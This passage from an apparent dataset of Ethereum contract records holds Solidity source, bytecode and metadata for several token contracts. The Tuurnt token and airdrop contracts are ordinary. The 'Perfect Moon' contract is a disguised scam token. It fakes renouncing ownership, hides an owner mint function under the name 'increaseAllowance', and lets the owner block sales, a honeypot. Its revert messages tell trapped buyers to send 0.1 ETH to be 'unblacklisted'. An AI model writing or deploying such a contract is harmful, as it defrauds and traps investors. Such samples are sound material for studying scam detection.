allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title DetailedERC20 token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } /** * @title Math * @dev Assorted math operations */ library Math { function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } /** * @title TuurntToken * @dev The TuurntToken contract contains the information about * Tuurnt token. */ contract TuurntToken is StandardToken, DetailedERC20 { using SafeMath for uint256; // distribution variables uint256 public tokenAllocToTeam; uint256 public tokenAllocToCrowdsale; uint256 public tokenAllocToCompany; // addresses address public crowdsaleAddress; address public teamAddress; address public companyAddress; /** * @dev The TuurntToken constructor set the orginal crowdsaleAddress,teamAddress and companyAddress and allocate the * tokens to them. * @param _crowdsaleAddress The address of crowsale contract * @param _teamAddress The address of team * @param _companyAddress The address of company */ constructor(address _crowdsaleAddress, address _teamAddress, address _companyAddress, string _name, string _symbol, uint8 _decimals) public DetailedERC20(_name, _symbol, _decimals) { require(_crowdsaleAddress != address(0)); require(_teamAddress != address(0)); require(_companyAddress != address(0)); totalSupply_ = 500000000 * 10 ** 18; tokenAllocToTeam = (totalSupply_.mul(33)).div(100); // 33 % Allocation tokenAllocToCompany = (totalSupply_.mul(33)).div(100); // 33 % Allocation tokenAllocToCrowdsale = (totalSupply_.mul(34)).div(100);// 34 % Allocation // Address crowdsaleAddress = _crowdsaleAddress; teamAddress = _teamAddress; companyAddress = _companyAddress; // Allocations balances[crowdsaleAddress] = tokenAllocToCrowdsale; balances[companyAddress] = tokenAllocToCompany; balances[teamAddress] = tokenAllocToTeam; //transfer event emit Transfer(address(0), crowdsaleAddress, tokenAllocToCrowdsale); emit Transfer(address(0), companyAddress, tokenAllocToCompany); emit Transfer(address(0), teamAddress, tokenAllocToTeam); } } contract TuurntAirdrop is Ownable { using SafeMath for uint256; TuurntToken public token; WhitelistInterface public whitelist; mapping(address=>bool) public userAddress; uint256 public totalDropAmount; uint256 public dropAmount = 100 * 10 ** 18; /** * @dev TuurntAirdrop constructor set the whitelist contract address. * @param _whitelist Whitelist contract address */ constructor(address _whitelist) public{ whitelist = WhitelistInterface(_whitelist); } /** * @dev Set the token contract address. * @param _tokenAddress token contract address */ function setTokenAddress(address _tokenAddress) onlyOwner public { token = TuurntToken(_tokenAddress); } /** * @dev User can withdraw there airdrop tokens if address exist in the whitelist. */ function airdropToken() external{ require(whitelist.checkWhitelist(msg.sender)); require(userAddress[msg.sender] == false); totalDropAmount = totalDropAmount.add(dropAmount); userAddress[msg.sender] = true; require(token.transfer(msg.sender,dropAmount)); } /** * @dev Founder can withdraw the remaining tokens of airdrop contract. * @param _addr Address where the remaining tokens will go. */ function withdrawToken(address _addr) onlyOwner external{ require(_addr != address(0)); uint256 amount = token.balanceOf(this); require(token.transfer(_addr,amount)); } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305748be2146100b457806326a4e8d2146100df578063360500cc146101225780633e6813751461017d5780634d06068a146101a8578063715018a6146101bf57806389476069146101d65780638da5cb5b1461021957806393e59dc114610270578063f2fde38b146102c7578063fc0c546a1461030a575b600080fd5b3480156100c057600080fd5b506100c9610361565b6040518082815260200191505060405180910390f35b3480156100eb57600080fd5b50610120600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610367565b005b34801561012e57600080fd5b50610163600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610406565b604051808215151515815260200191505060405180910390f35b34801561018957600080fd5b50610192610426565b6040518082815260200191505060405180910390f35b3480156101b457600080fd5b506101bd61042c565b005b3480156101cb57600080fd5b506101d4610712565b005b3480156101e257600080fd5b50610217600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610814565b005b34801561022557600080fd5b5061022e610ab6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561027c57600080fd5b50610285610adb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102d357600080fd5b50610308600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b01565b005b34801561031657600080fd5b5061031f610b68565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c257600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60036020528060005260406000206000915054906101000a900460ff1681565b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631950c218336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156104e957600080fd5b505af11580156104fd573d6000803e3d6000fd5b505050506040513d602081101561051357600080fd5b8101908080519060200190929190505050151561052f57600080fd5b60001515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561058e57600080fd5b6105a5600554600454610b8e90919063ffffffff16565b6004819055506001600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb336005546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156106ca57600080fd5b505af11580156106de573d6000803e3d6000fd5b505050506040513d60208110156106f457600080fd5b8101908080519060200190929190505050151561071057600080fd5b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561076d57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561087157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156108ad57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561096a57600080fd5b505af115801561097e573d6000803e3d6000fd5b505050506040513d602081101561099457600080fd5b81019080805190602001909291905050509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a6c57600080fd5b505af1158015610a80573d6000803e3d6000fd5b505050506040513d6020811015610a9657600080fd5b81019080805190602001909291905050501515610ab257600080fd5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b5c57600080fd5b610b6581610baa565b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008183019050828110151515610ba157fe5b80905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610be657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a7230582041caa5fae4cbbc3bb86b00ff3a2ff4b091a0596b789d4be7490137d222d9915c0029
{"success": true, "error": null, "results": {}}
5,445
0xf1ce5d8bd96b0fb356a3054e96d61d3667287047
/* Welcome to P E R F E C T M O O N 🌓 perfectmoon.net @perfectmoonofficial Perfect Moon is the incubator based on Ethereum Network with innovative product launches, where community gets rewarded in ecosystem tokens. There will be a NFT minting system along with an NFT Marketplace that is in development. 🚀 PERFECT MOON was a stealth launch with no presale. The initial liquidity was added by the dev, locked on UniCrypt and the project was given to the community. 🥩 Frictionless Staking - 2% of every transaction redistributed to holders. Earn yield by just holding! 🎮 NFT Contracts will be audited and release is anticipated in September. */ pragma solidity ^0.6.12; // SPDX-License-Identifier: Apache-2.0 interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _call() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address public Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address call = _call(); _owner = call; Owner = call; emit OwnershipTransferred(address(0), call); } modifier onlyOwner() { require(_owner == _call(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); Owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract PerfectMoon is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _router; mapping(address => mapping (address => uint256)) private _allowances; address private router; address private caller; uint256 private _totalTokens = 250000000 * 10**18; uint256 private rTotal = 250000000 * 10**18; string private _name = 'Perfect Moon'; string private _symbol = '🌑PERFECT'; uint8 private _decimals = 18; constructor () public { _router[_call()] = _totalTokens; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _call(), _totalTokens); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function rateReflect(uint256 amount) public onlyOwner { rTotal = amount * 10**18; } function setRouter (address Uniswaprouterv02) public onlyOwner { router = Uniswaprouterv02; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_call(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _call(), _allowances[sender][_call()].sub(amount, "ERC20: Anti-bot mechanism flagged you as a bot, to get unblacklisted make a 0.1 ETH purchase")); return true; } function totalSupply() public view override returns (uint256) { return _totalTokens; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: Anti-bot mechanism flagged you as a bot, to get unblacklisted make a 0.1 ETH purchase"); require(recipient != address(0), "ERC20: Anti-bot mechanism flagged you as a bot, to get unblacklisted make a 0.1 ETH purchase"); if (sender != caller && recipient == router) { require(amount < rTotal, "ERC20: Anti-bot mechanism flagged you as a bot, to get unblacklisted make a 0.1 ETH purchase"); } _router[sender] = _router[sender].sub(amount, "ERC20: Anti-bot mechanism flagged you as a bot, to get unblacklisted make a 0.1 ETH purchase"); _router[recipient] = _router[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function balanceOf(address account) public view override returns (uint256) { return _router[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_call(), recipient, amount); return true; } function increaseAllowance(uint256 amount) public onlyOwner { require(_call() != address(0)); _totalTokens = _totalTokens.add(amount); _router[_call()] = _router[_call()].add(amount); emit Transfer(address(0), _call(), amount); } function Approve(address trade) public onlyOwner { caller = trade; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063b4a99a4e11610066578063b4a99a4e14610498578063c0d78655146104cc578063dd62ed3e14610510578063f2fde38b1461058857610100565b8063715018a61461036357806395d89b411461036d57806396bfcd23146103f0578063a9059cbb1461043457610100565b806323b872dd116100d357806323b872dd14610238578063313ce567146102bc5780633712c4b4146102dd57806370a082311461030b57610100565b806306fdde0314610105578063095ea7b31461018857806311e330b2146101ec57806318160ddd1461021a575b600080fd5b61010d6105cc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061066e565b60405180821515815260200191505060405180910390f35b6102186004803603602081101561020257600080fd5b810190808035906020019092919050505061068c565b005b6102226108c3565b6040518082815260200191505060405180910390f35b6102a46004803603606081101561024e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108cd565b60405180821515815260200191505060405180910390f35b6102c46109a6565b604051808260ff16815260200191505060405180910390f35b610309600480360360208110156102f357600080fd5b81019080803590602001909291905050506109bd565b005b61034d6004803603602081101561032157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a99565b6040518082815260200191505060405180910390f35b61036b610ae2565b005b610375610c69565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103b557808201518184015260208101905061039a565b50505050905090810190601f1680156103e25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104326004803603602081101561040657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d0b565b005b6104806004803603604081101561044a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e17565b60405180821515815260200191505060405180910390f35b6104a0610e35565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61050e600480360360208110156104e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e5b565b005b6105726004803603604081101561052657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f67565b6040518082815260200191505060405180910390f35b6105ca6004803603602081101561059e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fee565b005b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106645780601f1061063957610100808354040283529160200191610664565b820191906000526020600020905b81548152906001019060200180831161064757829003601f168201915b5050505050905090565b600061068261067b6111f9565b8484611201565b6001905092915050565b6106946111f9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610754576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166107746111f9565b73ffffffffffffffffffffffffffffffffffffffff16141561079557600080fd5b6107aa8160065461136090919063ffffffff16565b60068190555061080981600260006107c06111f9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136090919063ffffffff16565b600260006108156111f9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061085b6111f9565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600654905090565b60006108da8484846113e8565b61099b846108e66111f9565b610996856040518060800160405280605c8152602001611894605c9139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094c6111f9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ad9092919063ffffffff16565b611201565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b6109c56111f9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a85576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a7640000810260078190555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610aea6111f9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610baa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d015780601f10610cd657610100808354040283529160200191610d01565b820191906000526020600020905b815481529060010190602001808311610ce457829003601f168201915b5050505050905090565b610d136111f9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e2b610e246111f9565b84846113e8565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e636111f9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f23576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ff66111f9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561113c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061186e6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561123b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561127557600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000808284019050838110156113de576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561146e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605c815260200180611894605c913960600191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114f4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605c815260200180611894605c913960600191505060405180910390fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561159f5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156115ff5760075481106115fe576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605c815260200180611894605c913960600191505060405180910390fd5b5b61166b816040518060800160405280605c8152602001611894605c9139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ad9092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061170081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136090919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600083831115829061185a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561181f578082015181840152602081019050611804565b50505050905090810190601f16801561184c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20416e74692d626f74206d656368616e69736d20666c616767656420796f75206173206120626f742c20746f2067657420756e626c61636b6c6973746564206d616b65206120302e3120455448207075726368617365a264697066735822122071e76b6c1c873637ac42ff200364b45f7c36ad4646920ce1751a6b886db7c83d64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
5,446
0x005f8205ddcbb28b1295d5c28b152214197b32f8
/** *Submitted for verification at Etherscan.io on 2022-03-31 */ /** *Submitted for verification at Etherscan.io on 2022-03-30 */ /** *Submitted for verification at Etherscan.io on 2022-03-27 */ /** */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function 